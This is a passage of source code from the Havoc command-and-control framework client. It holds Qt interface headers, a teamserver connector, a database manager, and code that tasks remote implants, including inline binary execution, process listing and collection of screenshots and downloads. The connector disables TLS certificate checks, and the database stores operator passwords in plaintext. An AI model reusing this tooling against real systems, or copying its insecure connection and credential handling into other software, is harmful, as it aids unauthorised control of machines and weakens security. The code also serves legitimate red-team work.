menu_ScriptMenu( const QPoint &pos ) const; void ReloadScript() const; void RemoveScript() const; }; #endif // SCRIPTMANAGERVVJSUY_H havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/SessionGraph.hpp000066400000000000000000000120131467014221700274500ustar00rootroot00000000000000#ifndef HAVOC_SESSIONGRAPH_HPP #define HAVOC_SESSIONGRAPH_HPP #include #include #include #include class Node; class GraphWidget; class Edge; enum class NodeItemType { Nothing = 0, MainNode = 1, Session = 2 }; class Node : public QGraphicsItem { QRectF NodePainterSize = QRectF(); QString NodeLabel = QString(); public: QString NodeID = QString(); NodeItemType NodeType = NodeItemType::Nothing; Edge* NodeEdge = nullptr; Node* Parent = nullptr; // Pointer to the parent node of the current node. Null for the root. Node* Thread = nullptr; // For extreme left or right nodes, used to provide a successor node in a contour. Node* Ancestor = this; // During the tree layout, it points to the node's ancestor that is used to determine how far apart different subtrees should be. bool Disconnected = false; double Prelim = 0; // Preliminary y-coordinate calculated during the first tree traversal. double Modifier = 0; // Amount to adjust a node's y-coordinate, based on the positions of its descendants. double Shift = 0; // Amount to move subtrees apart to avoid overlaps. double Change = 0; // Rate of change in shift amount, used to evenly distribute shifts among siblings. std::vector Children = std::vector(); HavocNamespace::Util::SessionItem Session; public: Node( NodeItemType NodeType, QString NodeLabel, GraphWidget* graphWidget ); void appendChild( Node* child ); void removeChild( Node* child ); void addEdge( Edge* edge ); QVector edges() const; enum { Type = UserType + 1 }; int type() const override { return Type; } void calculateForces(); bool advancePosition(); void contextMenuEvent(QGraphicsSceneContextMenuEvent *event) override; QRectF boundingRect() const override; QPainterPath shape() const override; void paint( QPainter* painter, const QStyleOptionGraphicsItem* option, QWidget* widget ) override; protected: QVariant itemChange( GraphicsItemChange change, const QVariant& value ) override; void mousePressEvent( QGraphicsSceneMouseEvent* event ) override; void mouseReleaseEvent( QGraphicsSceneMouseEvent* event ) override; void mouseMoveEvent( QGraphicsSceneMouseEvent* event ) override; private: QVector edgeList; QPointF newPos; GraphWidget* graph; }; class GraphWidget : public QGraphicsView { Q_OBJECT typedef struct { QString Name; class Node* Node; } Member; QGraphicsScene* GraphScene = nullptr; Member* MainNode = nullptr; std::vector NodeList = std::vector(); public: GraphWidget( QWidget* parent = nullptr ); void itemMoved(); Node* GraphNodeAdd( HavocNamespace::Util::SessionItem Session ); void GraphNodeRemove( HavocNamespace::Util::SessionItem Session ); Node* GraphNodeGet( QString AgentID ); void GraphPivotNodeAdd( QString AgentID, HavocNamespace::Util::SessionItem Session ); void GraphPivotNodeDisconnect( QString AgentID ); void GraphPivotNodeReconnect( QString ParentAgentID, QString ChildAgentID ); public slots: void shuffle(); void zoomIn(); void zoomOut(); protected: void keyPressEvent( QKeyEvent* event ) override; void timerEvent( QTimerEvent* event ) override; void resizeEvent( QResizeEvent* event ) override; #if QT_CONFIG( wheelevent ) void wheelEvent( QWheelEvent* event ) override; #endif void drawBackground( QPainter* painter, const QRectF& rect ) override; void scaleView( qreal scaleFactor ); private: int timerId = 0; Node* centerNode; const double X_SEP = 220; // Horizontal separation between levels of the tree const double Y_SEP = 120; // Vertical separation between sibling nodes void initNode(Node* v); void layout(Node* T); void firstWalk(Node* v); void apportion(Node* v, Node*& defaultAncestor); void moveSubtree(Node* wm, Node* wp, double shift); Node* nextLeft(Node* v); Node* nextRight(Node* v); Node* ancestor(Node* vim, Node* v, Node*& defaultAncestor); void executeShifts(Node* v); void secondWalk(Node* v, double m, double depth); }; class Edge : public QGraphicsItem { public: Node* source = nullptr; Node* dest = nullptr; Edge( Node* sourceNode, Node* destNode, QColor Color ); Node* sourceNode() const; Node* destNode() const; void adjust(); void Color( QColor color ); enum { Type = UserType + 2 }; int type() const override { return Type; } protected: QRectF boundingRect() const override; void paint( QPainter* painter, const QStyleOptionGraphicsItem* option, QWidget* widget ) override; private: QColor color = QColor(); QPointF sourcePoint = QPointF(); QPointF destPoint = QPointF(); qreal arrowSize = 10; }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/SessionTable.hpp000066400000000000000000000022051467014221700274400ustar00rootroot00000000000000#ifndef HAVOC_SESSIONTABLE_HPP #define HAVOC_SESSIONTABLE_HPP #include #include class HavocNamespace::UserInterface::Widgets::SessionTable : public QWidget { private: QGridLayout* gridLayout = nullptr; QString TeamserverName = nullptr; QTableWidgetItem* TitleAgentID = nullptr; QTableWidgetItem* TitleInternal = nullptr; QTableWidgetItem* TitleExternal = nullptr; QTableWidgetItem* TitleUser = nullptr; QTableWidgetItem* TitleComputer = nullptr; QTableWidgetItem* TitleOperating = nullptr; QTableWidgetItem* TitleProcess = nullptr; QTableWidgetItem* TitleProcessId = nullptr; QTableWidgetItem* TitleArch = nullptr; QTableWidgetItem* TitleLast = nullptr; QTableWidgetItem* TitleHealth = nullptr; public: QTableWidget* SessionTableWidget = nullptr; void setupUi( QWidget* widget, QString TeamserverName ); void NewSessionItem( Util::SessionItem item ) const; void ChangeSessionValue( QString DemonID, int key, QString value ); void updateRow(); }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/Store.hpp000066400000000000000000000032601467014221700261430ustar00rootroot00000000000000#ifndef HAVOC_STORE_HPP #define HAVOC_STORE_HPP #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include class Store { public: QWidget* StoreWidget; QHBoxLayout* horizontalLayout; QSplitter* StoreSplitter; QTableWidget* StoreTable; QTableWidgetItem *labelTitle; QTableWidgetItem *labelAuthor; QWidget* panelStore; QVBoxLayout* panelLayout; QWidget* root_panelStore; QVBoxLayout* root_panelLayout; QScrollArea* panelScroll; QJsonArray* dataStore; QLabel* headerLabelTitle; QLabel* panelLabelDescription; QLabel* panelLabelAuthor; QPushButton* installButton; QGridLayout* gridLayout; QTextEdit* StoreLogger; void setupUi( QWidget* Store ); void displayData( int position ); void installScript( int position ); bool AddScript( QString Path ); void retranslateUi( ); }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/Teamserver.hpp000066400000000000000000000012531467014221700271640ustar00rootroot00000000000000#ifndef HAVOC_TEAMSERVER_HPP #define HAVOC_TEAMSERVER_HPP #include #include #include #include #include #include #include #include #include #include #include class Teamserver { public: QGridLayout* gridLayout; QWidget* TeamserverWidget; QTextEdit* TeamserverLogger; void setupUi( QWidget* Teamserver ); void retranslateUi( ); void AddLoggerText( const QString& Text ) const; }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/TeamserverTabSession.h000066400000000000000000000045331467014221700306230ustar00rootroot00000000000000#ifndef HAVOC_TEAMSERVERTABSESSION_H #define HAVOC_TEAMSERVERTABSESSION_H #include #include #include #include #include #include #include #include using namespace HavocNamespace; class HavocNamespace::UserInterface::Widgets::TeamserverTabSession : public QWidget { typedef struct { UserInterface::SmallWidgets::EventViewer* EventViewer; } SmallAppWidgets_t; public: QGridLayout* gridLayout = {}; QGridLayout* gridLayout_2 = {}; QWidget* layoutWidget = {}; QSplitter* splitter_TopBot = {}; QSplitter* splitter_SessionAndTabs = {}; QVBoxLayout* verticalLayout = {}; QTabWidget* tabWidget = {}; QTabWidget* tabWidgetSmall = {}; public: Widgets::Chat* TeamserverChat = {}; class Teamserver* Teamserver = {}; class Store* Store = {}; Widgets::SessionTable* SessionTableWidget = {}; GraphWidget* SessionGraphWidget = {}; Widgets::ListenersTable* ListenerTableWidget = {}; Widgets::PythonScriptInterpreter* PythonScriptWidget = {}; Widgets::ScriptManager* ScriptManagerWidget = {}; Payload* PayloadDialog = {}; class LootWidget* LootWidget = {}; QStackedWidget* MainViewWidget = {}; QWidget* SessionTablePage = {}; HavocSpace::DBManager* dbManager = {}; QString TeamserverName = {}; QWidget* PageWidget = {}; SmallAppWidgets_t* SmallAppWidgets = {}; void setupUi( QWidget* Page, QString TeamserverName ); void NewBottomTab( QWidget* TabWidget, const std::string& TitleName, QString IconPath = "" ) const; void NewWidgetTab( QWidget* TabWidget, const std::string& TitleName ) const; protected slots: void handleDemonContextMenu( const QPoint& pos ); void removeTabSmall( int ) const; }; #endif havoc-0.6~git20240910.69ce17c/client/include/Util/000077500000000000000000000000001467014221700211055ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/include/Util/Base.hpp000066400000000000000000000012241467014221700224670ustar00rootroot00000000000000#ifndef HAVOC_BASE_HPP #define HAVOC_BASE_HPP #include #include #include #include #include #include #include auto FileRead( const QString& FilePath ) -> QByteArray; auto MessageBox( QString Title, QString Text, QMessageBox::Icon Icon ) -> void; auto WinVersionIcon( QString OSVersion, bool High ) -> QIcon; auto WinVersionImage( QString OSVersion, bool High ) -> QImage; auto GrayScale( QImage image ) -> QImage; auto CurrentDateTime( void ) -> QString; auto CurrentTime( void ) -> QString; #endif havoc-0.6~git20240910.69ce17c/client/include/Util/Base64.h000066400000000000000000000002671467014221700223070ustar00rootroot00000000000000#ifndef HAVOC_BASE64_H #define HAVOC_BASE64_H #include #include std::string HavocNamespace::Util::base64_encode(const char* buf, unsigned int bufLen); #endif havoc-0.6~git20240910.69ce17c/client/include/Util/ColorText.h000066400000000000000000000041321467014221700232010ustar00rootroot00000000000000#ifndef HAVOC_COLORTEXT_H #define HAVOC_COLORTEXT_H #include class HavocNamespace::Util::ColorText { public: struct Colors { struct Hex { static QString Background; static QString Foreground; static QString CurrentLine; static QString Comment; static QString Cyan; static QString Green; static QString Orange; static QString Pink; static QString Purple; static QString Red; static QString Yellow; static QString SessionCyan; static QString SessionGreen; static QString SessionOrange; static QString SessionPink; static QString SessionPurple; static QString SessionRed; static QString SessionYellow; }; }; static void SetDraculaDark(); static void SetDraculaLight(); static QString Color(const QString& color, const QString& text); static QString Background(const QString&); static QString Foreground(const QString&); static QString Comment(const QString&); static QString Cyan(const QString&); static QString Green(const QString&); static QString Orange(const QString&); static QString Pink(const QString&); static QString Purple(const QString&); static QString Red(const QString&); static QString Yellow(const QString&); static QString Underline(const QString& text); static QString UnderlineBackground(const QString& text); static QString UnderlineForeground(const QString& text); static QString UnderlineComment(const QString& text); static QString UnderlineCyan(const QString& text); static QString UnderlineGreen(const QString& text); static QString UnderlineOrange(const QString& text); static QString UnderlinePink(const QString& text); static QString UnderlinePurple(const QString& text); static QString UnderlineRed(const QString& text); static QString UnderlineYellow(const QString& text); static QString Bold(const QString& text); }; #endif //HAVOC_COLORTEXT_H havoc-0.6~git20240910.69ce17c/client/include/global.hpp000066400000000000000000000162121467014221700221430ustar00rootroot00000000000000#ifndef HAVOC_GLOBAL_HPP #define HAVOC_GLOBAL_HPP #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #pragma push_macro("slots") #undef slots #include #pragma pop_macro("slots") typedef uint32_t u32; typedef uint64_t u64; /* windows habit lol */ typedef char* PCHAR; typedef char BYTE; typedef void* PVOID; typedef void* LPVOID; typedef unsigned long int UINT_PTR; /* std typedefs */ typedef std::map MapStrStr; typedef std::map MapStrAny; /* TODO: rewrite everything. * this is a stupid design * move every class into its own header * remove this namespace */ namespace HavocNamespace { extern std::string Version; extern std::string CodeName; namespace Util { class ColorText; std::string base64_encode( const char* buf, unsigned int bufLen ); std::string gen_random( const int len ); typedef struct RegisteredCommand { /* for what agent is it this command */ std::string Agent; std::string Module; std::string Command; std::string Help; u32 Behaviour; std::string Usage; std::string Example; void* Function; std::string Path; } RegisteredCommand ; typedef struct RegisteredModule { /* for what agent is it this command */ std::string Agent; std::string Name; std::string Description; std::string Behavior; std::string Usage; std::string Example; } RegisteredModule; typedef struct ListenerItem { std::string Name; std::string Protocol; std::string Status; std::any Info; } ListenerItem; }; namespace UserInterface { class HavocUi; namespace Dialogs { class Connect; class NewListener; } // Widgets namespace Widgets { class Chat; class SessionTable; class ListenersTable; class CredentialsTable; class TeamserverTabSession; class ProcessList; class PythonScriptInterpreter; class ScriptManager; } namespace SmallWidgets { class EventViewer; } }; namespace HavocSpace { struct Listener { static QString PayloadHTTPS; static QString PayloadHTTP; static QString PayloadSMB; static QString PayloadExternal; typedef struct { QStringList Hosts; QString HostBind; QString HostRotation; QString PortBind; QString PortConn; QString UserAgent; QStringList Headers; QStringList Uris; QString HostHeader; QString Secure; QString ProxyEnabled; QString ProxyType; QString ProxyHost; QString ProxyPort; QString ProxyUsername; QString ProxyPassword; } HTTP; typedef struct { QString PipeName; } SMB; typedef struct { QString Endpoint; } External; typedef MapStrStr Service; }; class Packager; class DBManager; class Havoc; } extern HavocNamespace::HavocSpace::Havoc* HavocApplication; }; namespace HavocNamespace { class Connector; namespace UserInterface::Widgets { class DemonInteracted; } namespace HavocSpace { class DemonCommands; }; namespace Util { typedef struct { QString TeamserverID; QString Name; u64 MagicValue; QString External; QString Internal; QString Listener; QString User; QString Computer; QString Domain; QString OS; QString OSBuild; QString OSArch; QString Process; QString PID; QString Arch; QString First; QString Last; QDateTime LastUTC; QString Elevated; QString PivotParent; QString Marked; QString Health; u32 SleepDelay; u32 SleepJitter; u64 KillDate; u32 WorkingHours; UserInterface::Widgets::DemonInteracted* InteractedWidget; UserInterface::Widgets::ProcessList* ProcessList; class FileBrowser* FileBrowser; std::map TaskIDToPythonCallbacks; void Export(); } SessionItem; typedef struct { QString Name; QString Host; QString Port; QString User; QString Password; std::vector Listeners; std::vector RegisteredListeners; std::vector Sessions; std::vector RegisteredCommands; std::vector RegisteredModules; std::vector RegisteredCallbacks; std::vector ServiceAgents; QStringList AddedCommands; QJsonDocument DemonConfig; QStringList IpAddresses; std::string LoadingScript; UserInterface::Widgets::TeamserverTabSession* TabSession; } ConnectionInfo; }; } // Global Instance namespace HavocX { extern bool DebugMode; extern bool GateGUI; extern PyObject* callbackGate; extern PyObject* callbackMessage; extern HavocNamespace::Util::ConnectionInfo Teamserver; extern HavocNamespace::UserInterface::HavocUi* HavocUserInterface; extern HavocNamespace::Connector* Connector; } #endif havoc-0.6~git20240910.69ce17c/client/makefile000066400000000000000000000005311467014221700202440ustar00rootroot00000000000000MAKEFLAGS += -s ifndef VERBOSE .SILENT: endif all: @ mkdir build; cd build; cmake .. @ if [ -d "Modules" ]; then echo "Modules installed"; else git clone https://github.com/HavocFramework/Modules Modules; fi @ cmake --build build -- -j 4 clean: @ rm -rf build @ rm -rf .idea @ rm -rf cmake-build-debug @ rm -rf modules @ rm -rf Havoc havoc-0.6~git20240910.69ce17c/client/src/000077500000000000000000000000001467014221700173345ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/src/Havoc/000077500000000000000000000000001467014221700203745ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/src/Havoc/Connector.cc000066400000000000000000000050071467014221700226370ustar00rootroot00000000000000#include #include #include #include #include Connector::Connector( Util::ConnectionInfo* ConnectionInfo ) { Teamserver = ConnectionInfo; Socket = new QWebSocket(); auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/"; auto SslConf = Socket->sslConfiguration(); /* ignore annoying SSL errors */ SslConf.setPeerVerifyMode( QSslSocket::VerifyNone ); Socket->setSslConfiguration( SslConf ); Socket->ignoreSslErrors(); QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message ) { auto Package = HavocSpace::Packager::DecodePackage( Message ); if ( Package != nullptr ) { if ( ! Packager ) return; Packager->DispatchPackage( Package ); return; } spdlog::critical( "Got Invalid json" ); } ); QObject::connect( Socket, &QWebSocket::connected, this, [&]() { this->Packager = new HavocSpace::Packager; this->Packager->setTeamserver( this->Teamserver->Name ); SendLogin(); } ); QObject::connect( Socket, &QWebSocket::disconnected, this, [&]() { MessageBox( "Teamserver error", Socket->errorString(), QMessageBox::Critical ); Socket->close(); Havoc::Exit(); } ); Socket->open( QUrl( Server ) ); } bool Connector::Disconnect() { if ( this->Socket != nullptr ) { this->Socket->disconnect(); return true; } return false; } Connector::~Connector() noexcept { delete this->Socket; } void Connector::SendLogin() { Util::Packager::Package Package; Util::Packager::Head_t Head; Util::Packager::Body_t Body; Head.Event = Util::Packager::InitConnection::Type; Head.User = this->Teamserver->User.toStdString(); Head.Time = CurrentTime().toStdString(); Body.SubEvent = Util::Packager::InitConnection::Login; Body.Info[ "User" ] = this->Teamserver->User.toStdString(); Body.Info[ "Password" ] = QCryptographicHash::hash( this->Teamserver->Password.toLocal8Bit(), QCryptographicHash::Sha3_256 ).toHex().toStdString(); Package.Head = Head; Package.Body = Body; SendPackage( &Package ); } void Connector::SendPackage( Util::Packager::PPackage Package ) { Socket->sendBinaryMessage( Packager->EncodePackage( *Package ).toJson( QJsonDocument::Compact ) ); } havoc-0.6~git20240910.69ce17c/client/src/Havoc/DBManger/000077500000000000000000000000001467014221700220135ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/src/Havoc/DBManger/DBManager.cc000066400000000000000000000034141467014221700241040ustar00rootroot00000000000000#include #include using namespace HavocNamespace::HavocSpace; int DBManager::OpenSqlFile = 1; int DBManager::CreateSqlFile = 2; DBManager::DBManager( const QString& FilePath, int OpenFlag ) { auto exists = false; if ( QFileInfo::exists( FilePath ) ) { exists = true; } this->DB = QSqlDatabase::addDatabase( "QSQLITE" ); this->DB.setDatabaseName( FilePath ); if ( this->DB.open() ) { if ( OpenFlag == DBManager::CreateSqlFile && ! exists ) { if ( this->createNewDatabase() ) { spdlog::info( "Successful created database" ); } else { spdlog::error( "Failed to create a new database" ); } } } else { spdlog::error( "[DB] Failed to open database" ); } } bool DBManager::createNewDatabase() { auto query = QSqlQuery(); auto error = std::string(); /* check if the db file is opened */ if ( ! DB.isOpen() ) { return false; } query.prepare( "CREATE TABLE \"Teamservers\" ( " "\"ID\" INTEGER PRIMARY KEY, " "\"ProfileName\" TEXT, " "\"Host\" TEXT, " "\"Port\" INTEGER, " "\"User\" TEXT, " "\"Password\" TEXT " ");" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Couldn't create Teamserver table: ", error ); } query.prepare( "CREATE TABLE \"Scripts\" ( " "\"ID\" INTEGER PRIMARY KEY, " "\"Path\" TEXT " ");" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Couldn't create Scripts table: ", error ); return false; } return true; }havoc-0.6~git20240910.69ce17c/client/src/Havoc/DBManger/Scripts.cc000066400000000000000000000037161467014221700237600ustar00rootroot00000000000000#include bool HavocNamespace::HavocSpace::DBManager::AddScript( QString Path ) { auto query = QSqlQuery(); auto error = std::string(); query.prepare( "insert into Scripts (Path) values(:Path)" ); query.bindValue( ":Path", Path ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Failed to add Script: {}", error ); return false; } return true; } bool HavocNamespace::HavocSpace::DBManager::RemoveScript( QString Path ) { auto query = QSqlQuery(); auto error = std::string(); auto path = std::string(); query.prepare( "delete from Scripts where Path = :Path" ); query.bindValue( ":Path", Path ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); path = Path.toStdString(); spdlog::error( "[DB] Couldn't delete {} from Scripts: {}", path, error ); return false; } return true; } bool HavocNamespace::HavocSpace::DBManager::CheckScript( QString Path ) { auto query = QSqlQuery(); auto error = std::string(); query.prepare( "select * from Scripts" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Couldn't query Scripts: {}", error ); return false; } while ( query.next() ) { if ( query.value( "Path" ) == Path ) return true; } return false; } vector HavocNamespace::HavocSpace::DBManager::GetScripts() { auto List = vector(); auto query = QSqlQuery(); auto error = std::string(); query.prepare( "select * from Scripts" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Couldn't query Scripts: {}", error ); return List; } while ( query.next() ) List.push_back( query.value("Path").toString() ); return List; }havoc-0.6~git20240910.69ce17c/client/src/Havoc/DBManger/Teamserver.cc000066400000000000000000000067261467014221700244520ustar00rootroot00000000000000#include #include using namespace HavocNamespace; bool HavocSpace::DBManager::addTeamserverInfo( const Util::ConnectionInfo& connection ) { auto query = QSqlQuery(); auto success = true; auto error = std::string(); query.prepare( "insert into Teamservers (ProfileName, Host, Port, User, Password) values(:ProfileName, :Host, :Port, :User, :Password)" ); query.bindValue( ":ProfileName", connection.Name.toStdString().c_str() ); query.bindValue( ":Host", connection.Host.toStdString().c_str() ); query.bindValue( ":Port", connection.Port.toStdString().c_str() ); query.bindValue( ":User", connection.User.toStdString().c_str() ); query.bindValue( ":Password", connection.Password.toStdString().c_str() ); /* print error */ if ( ! ( success = query.exec() ) ) { error = query.lastError().text().toStdString(); success = false; spdlog::error( "[DB] Failed to add teamserver info: {}", error ); } return success; } bool HavocSpace::DBManager::checkTeamserverExists( const QString& ProfileName ) { auto query = QSqlQuery(); auto success = false; auto error = std::string(); query.prepare( "select * from Teamservers" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Failed to query teamserver existence: {}", error ); return success; } while ( query.next() ) { if ( query.value( "ProfileName" ) == ProfileName ) { success = true; break; } } return success; } bool HavocSpace::DBManager::removeTeamserverInfo( const QString& ProfileName ) { auto query = QSqlQuery(); auto error = std::string(); auto name = std::string(); query.prepare( "delete from Teamservers where ProfileName = :ProfileName" ); query.bindValue( ":ProfileName", ProfileName ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); name = ProfileName.toStdString(); spdlog::error( "[DB] Failed to deleting teamserver [{}] info: {}", name, error ); return false; } return true; } vector HavocSpace::DBManager::listTeamservers() { auto query = QSqlQuery(); auto TeamserverList = vector(); auto error = std::string(); query.prepare( "select * from Teamservers" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Error while query teamserver list: {}", error ); return TeamserverList; } /* iterating over the queried list */ while ( query.next() ) { TeamserverList.push_back( { .Name = query.value( "ProfileName" ).toString(), .Host = query.value( "Host" ).toString(), .Port = query.value( "Port" ).toString(), .User = query.value( "User" ).toString(), .Password = query.value( "Password" ).toString(), } ); } return TeamserverList; } bool HavocSpace::DBManager::removeAllTeamservers() { auto query = QSqlQuery(); auto error = std::string(); query.prepare( "delete from Teamservers" ); if ( ! query.exec() ) { error = query.lastError().text().toStdString(); spdlog::error( "[DB] Error while deleting teamservers: {}", error ); return false; } return true; } havoc-0.6~git20240910.69ce17c/client/src/Havoc/Demon/000077500000000000000000000000001467014221700214365ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/src/Havoc/Demon/CommandOutput.cc000066400000000000000000000107161467014221700245510ustar00rootroot00000000000000#include #include #include #include #include #include #include #include using namespace HavocNamespace::HavocSpace; void DispatchOutput::MessageOutput( QString JsonString, const QString& Date = "" ) const { auto JsonDocument = QJsonDocument::fromJson( QByteArray::fromBase64( JsonString.toLocal8Bit( ) ) ); auto TaskID = JsonDocument[ "TaskID" ].toString(); auto MessageType = JsonDocument[ "Type" ].toString(); auto Message = JsonDocument[ "Message" ].toString(); auto Output = JsonDocument[ "Output" ].toString(); if ( Message.length() > 0 ) { if ( MessageType == "Error" || MessageType == "Erro" ) this->DemonCommandInstance->DemonConsole->TaskError( Message ); else if ( MessageType == "Good" ) this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Green( "[+]" ) + " " + Message ); else if ( MessageType == "Info" ) this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Cyan( "[*]" ) + " " + Message ); else if ( MessageType == "Warning" || MessageType == "Warn" ) this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Yellow( "[!]" ) + " " + Message ); else this->DemonCommandInstance->DemonConsole->AppendRaw( Util::ColorText::Purple( "[^]" ) + " " + Message ); } if ( ! Output.isEmpty() ) { //printf("task: %s\n", TaskID.toUtf8().constData()); if (HavocX::callbackMessage) { PyObject *arglist = Py_BuildValue( "s", Output.toUtf8().constData() ); PyObject_CallFunctionObjArgs( HavocX::callbackMessage, arglist, NULL ); Py_XDECREF( HavocX::callbackMessage ); HavocX::callbackMessage = NULL; } this->DemonCommandInstance->DemonConsole->AppendRaw( Output ); } if ( JsonDocument[ "MiscType" ].toString().compare( "" ) != 0 ) { auto Type = JsonDocument[ "MiscType" ].toString(); auto Data = JsonDocument[ "MiscData" ].toString(); if ( Type.compare( "screenshot" ) == 0 ) { auto DecodedData = QByteArray::fromBase64( Data.toLocal8Bit() ); auto Name = JsonDocument[ "MiscData2" ].toString(); HavocX::Teamserver.TabSession->LootWidget->AddScreenshot( DemonCommandInstance->DemonID, Name, Date, DecodedData ); } else if ( Type.compare( "download" ) == 0 ) { auto MiscDataInfo = JsonDocument[ "MiscData2" ].toString().split( ";" ); auto Name = QByteArray::fromBase64( MiscDataInfo[ 0 ].toLocal8Bit() ); auto Size = ( MiscDataInfo[ 1 ] ); HavocX::Teamserver.TabSession->LootWidget->AddDownload( DemonCommandInstance->DemonID, Name, Size, Date, nullptr ); } else if ( Type.compare( "ProcessUI" ) == 0 ) { for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name == DemonCommandInstance->DemonID ) { if ( Session.ProcessList ) { auto Decoded = QByteArray::fromBase64( Data.toLocal8Bit() ); Session.ProcessList->UpdateProcessListJson( QJsonDocument::fromJson( Decoded ) ); } } } } else if ( Type.compare( "FileExplorer" ) == 0 ) { for ( auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name == DemonCommandInstance->DemonID ) { if ( Session.FileBrowser ) { auto Decoded = QByteArray::fromBase64( Data.toLocal8Bit() ); Session.FileBrowser->AddData( QJsonDocument::fromJson( Decoded ) ); } } } } else if ( Type.compare( "disconnect" ) == 0 ) { HavocX::Teamserver.TabSession->SessionGraphWidget->GraphPivotNodeDisconnect( Data ); } else if ( Type.compare( "reconnect" ) == 0 ) { auto Split = Data.split( ";" ); HavocX::Teamserver.TabSession->SessionGraphWidget->GraphPivotNodeReconnect( Split[ 0 ], Split[ 1 ] ); } } } havoc-0.6~git20240910.69ce17c/client/src/Havoc/Demon/CommandSend.cc000066400000000000000000000571511467014221700241460ustar00rootroot00000000000000#include #include #include #include #include #include // TODO: refactor this auto NewPackageCommand( const QString& TeamserverName, Util::Packager::Body_t Body ) -> void { auto Package = new Util::Packager::Package; auto Head = Util::Packager::Head_t { .Event = Util::Packager::Session::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), }; Package->Head = Head; Package->Body = Body; HavocX::Connector->SendPackage( Package ); } auto CommandExecute::FS( const QString& TaskID, QString SubCommand, QString Arguments ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast ( Commands::FS ) ).c_str() }, { "SubCommand", SubCommand.toStdString() }, { "Arguments", Arguments.toStdString() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Sleep( QString TaskID, QString seconds ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::SLEEP ) ).c_str() }, { "Arguments", seconds.toStdString()} } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::Checkin( QString TaskID ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::CHECKIN ) ).c_str() }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::ProcList( QString TaskID, bool FromProcessManager ) -> void { auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[ TaskID ].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::PROC_LIST ) ).c_str() }, { "FromProcessManager", FromProcessManager ? "true" : "false" }, } }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::InlineExecute( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString() }, { "DemonID", this->DemonCommandInstance->DemonConsole->SessionInfo.Name.toStdString() }, { "CommandID", to_string( static_cast( Commands::INLINE_EXECUTE ) ).c_str() }, { "HasCallback", "false"}, { "FunctionName", FunctionName.toStdString() }, { "Binary", Content.toBase64().toStdString() }, { "Arguments", Util::base64_encode( Args.toStdString().c_str(), Args.length() ) }, { "Flags", Flags.toStdString() }, }, }; NewPackageCommand( this->DemonCommandInstance->Teamserver, Body ); } auto CommandExecute::InlineExecuteGetOutput( QString TaskID, QString FunctionName, QString Path, QByteArray Args, QString Flags ) -> void { auto Content = FileRead( Path ); if ( Content.isEmpty() ) return; auto Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::SendCommand, .Info = { { "TaskID", TaskID.toStdString() }, { "CommandLine", DemonCommandInstance->CommandInputList[TaskID].toStdString() }, { "DemonID", 